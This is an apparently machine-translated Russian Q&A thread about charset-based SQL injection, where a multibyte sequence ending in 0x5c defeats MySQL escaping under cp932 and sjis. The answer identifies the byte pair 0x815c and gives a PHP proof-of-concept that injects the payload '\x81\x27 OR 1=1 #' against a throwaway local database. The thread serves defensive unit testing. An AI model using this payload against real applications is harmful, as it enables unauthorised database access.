Я пишу некоторые модульные тесты, чтобы убедиться, что мой код не уязвим для SQL-инъекций под различными кодировками.
В соответствии с этим ответом вы можете создать уязвимость, введя \xbf\x27 используя один из следующих big5 : big5 , cp932 , gb2312 , gbk и sjis
Это связано с тем, что если ваш escaper настроен неправильно, он увидит 0x27 и попытается избежать его, чтобы он стал \xbf\x5c\x27 . Тем не менее, \xbf\x5c на самом деле является одним символом в этих кодировках, поэтому цитата ( 0x27 ) остается 0x27 .
Однако, как я обнаружил через тестирование, это не совсем так. Он работает для big5 , gb2312 и gbk но ни 0xbf27 ни 0xbf5c являются допустимыми символами в sjis и cp932 .
И то и другое
mb_strpos("abc\xbf\x27def","'",0,'sjis')
а также
mb_strpos("abc\xbf\x27def","'",0,'cp932')
Возвращение 4 . т.е. PHP не видит \xbf\x27 как один символ. Это возвращает false для big5 , gb2312 и gbk .
Кроме того, это:
mb_strlen("\xbf\x5c",'sjis')
Возвращает 2 (он возвращает 1 для gbk ).
Итак, возникает вопрос: существует ли еще одна последовательность символов, которая делает sjis и cp932 уязвимыми для SQL-инъекции или они вообще не уязвимы? или PHP лежащий, я полностью ошибаюсь, и MySQL интерпретирует это совершенно по-другому?
Дьявол находится в деталях … давайте начнем с того, как ответ в вопросе описывает список уязвимых наборов символов:
Чтобы эта атака работала, нам нужна кодировка, которую сервер ожидает от соединения как для кодирования
'как в ASCII, т.0x27и для некоторого символа, конечным байтом которого является ASCII, т.0x5c. Как оказалось, в MySQL 5.6 по умолчанию поддерживается 5 таких кодировок:big5,cp932,gb2312,gbkиsjis. Здесь мы выберемgbk.
Это дает нам некоторый контекст: 0xbf5c используется в качестве примера для gbk , а не как универсальный символ для всех 5 наборов символов.
Так получилось, что big5 и gb2312 же последовательность байтов также является допустимым символом при big5 и gb2312 .
На данный момент ваш вопрос становится таким же простым:
Какая последовательность байтов является допустимым символом под
cp932иsjisи заканчивается0x5c?
Справедливости ради, большинство поисковых запросов Google, которые я пробовал для этих наборов символов, не дают никаких полезных результатов. Но я нашел этот файл CP932.TXT , в котором, если вы ищете '5c ' (с пространством там), вы перейдете к этой строке:
0x815C 0x2015 # ГОРИЗОНТАЛЬНЫЙ БАР
И у нас есть победитель! 🙂
Некоторые документы Oracle подтверждают, что 0x815c является 0x815c и тем же символом для cp932 и sjis и PHP также распознает это:
php > var_dump(mb_strlen("\x81\x5c", "cp932"), mb_strlen("\x81\x5c", "sjis")); int(1) int(1)
Вот сценарий PoC для атаки:
<?php $username = 'username'; $password = 'password'; $mysqli = new mysqli('localhost', $username, $password); foreach (array('cp932', 'sjis') as $charset) { $mysqli->query("SET NAMES {$charset}"); $mysqli->query("CREATE DATABASE {$charset}_db CHARACTER SET {$charset}"); $mysqli->query("USE {$charset}_db"); $mysqli->query("CREATE TABLE foo (bar VARCHAR(16) NOT NULL)"); $mysqli->query("INSERT INTO foo (bar) VALUES ('baz'), ('qux')"); $input = "\x81\x27 OR 1=1 #"; $input = $mysqli->real_escape_string($input); $query = "SELECT * FROM foo WHERE bar = '{$input}' LIMIT 1"; $result = $mysqli->query($query); if ($result->num_rows > 1) { echo "{$charset} exploit successful!\n"; } $mysqli->query("DROP DATABASE {$charset}_db"); }